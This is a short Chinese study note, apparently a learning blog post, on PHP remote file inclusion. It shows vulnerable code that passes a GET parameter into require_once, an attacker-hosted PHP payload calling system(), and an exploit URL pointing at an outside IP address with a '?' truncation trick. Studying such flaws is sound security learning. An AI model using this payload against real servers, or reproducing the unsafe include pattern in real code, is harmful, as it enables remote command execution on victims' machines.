今天在學習《白帽子講web安全》一書是,提到一個php遠程文件包含漏洞
可以從攻擊者服務器中的一個寫好的攻擊腳本中遠程執行命令
服務器中有漏洞的頁面代碼為:
#test.php
#error_reporting(0); $route="share"; $basePath=$_GET['param']; if ($route == "share") { require_once $basePath.'/action/mshare.php'; } elseif ($route == "sharelink") { require_once $basePath.'/action/m_shareliink.php'; }
攻擊者服務器中的攻擊腳本為:
#test1.txt
<?php system("ver;"); #此處可以自己定義要執行的命令 ?>
攻擊者可以構造如下url遠程調用攻擊者服務器上的攻擊腳本:
/test.php/?param=http://23.105.202.153/test.txt?
最后的問號會截斷require_once在$basePath參數后的字符串
這里有一個問題,就是攻擊者的攻擊腳本只能保存為txt格式,而不能保存為php格式,否則會導致攻擊腳本無法在受害者機器上運行。
還有一個問題需要解決,就是無法向攻擊者編寫的腳本傳遞參數,如果攻擊者腳本加入了參數,則會導致無法截斷,這一問題需要解決。